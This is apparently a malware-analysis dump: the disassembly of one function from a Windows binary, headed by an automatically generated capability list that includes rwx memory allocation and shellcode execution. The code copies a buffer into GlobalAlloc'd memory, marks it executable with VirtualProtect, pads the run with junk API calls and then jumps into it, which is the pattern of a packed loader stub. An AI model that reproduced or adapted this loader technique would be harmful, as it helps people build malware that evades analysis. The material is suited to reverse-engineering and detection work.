Function at 0x408741
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Initialize winhttp library

Disassembly:
mov eax, 0x416b26
call fcn.0040abec
mov eax, 0x24c0
call fcn.0040b010
mov ecx, dword [0x2d4cbd4]
push esi
push edi
cmp ecx, 0x93
jne 0x4087b9
xor eax, eax
lock bts dword [eax], 0
xor esi, esi
lea eax, [ebp - 0xccc]
push esi
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push esi
lea eax, [ebp - 0x8cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
movss xmm0, dword [0x401264]
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.0040a90d
add esp, 0xc
fstp st(0)
call fcn.0040ab31
mov eax, dword [0x447968]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x2d4cbdc], eax
push esi
mov dword [0x2d4cbd4], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x20]
mov dword [0x2d4cbd8], eax
push ecx
push 0x40
push dword [0x2d4cbd4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x8cc]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x4087f6
mov edx, dword [0x2d4cbd4]
mov edi, esi
test edx, edx
je 0x408864
mov eax, dword [0x2d4cbdc]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x2d4cbd8]
mov byte [eax + edi], cl
mov edx, dword [0x2d4cbd4]
cmp edx, 0x490
jne 0x40885f
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2d4cbd4]
inc edi
cmp edi, edx
jb 0x408813
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x4088f7
push 0x40112c
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0xccc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
push esi
lea eax, [ebp - 0x18cc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x24cc]
push eax
push 0x40114c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
lea eax, [ebp - 0x1ccc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x4cc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edx, dword [0x2d4cbd4]
inc edi
cmp edi, 0x38681
jl 0x408866
mov ecx, dword [0x2d4cbd8]
push 0x442930
call fcn.00408cb6
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x408934
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2d4cbd8], eax
inc edi
cmp edi, 0x674db
jl 0x408916
push 0x7b
pop edi
cmp dword [0x2d4cbd4], 0x86
jne 0x408986
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0x24]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x10cc]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
dec edi
jne 0x408940
push 0x401098
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d4cbd8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret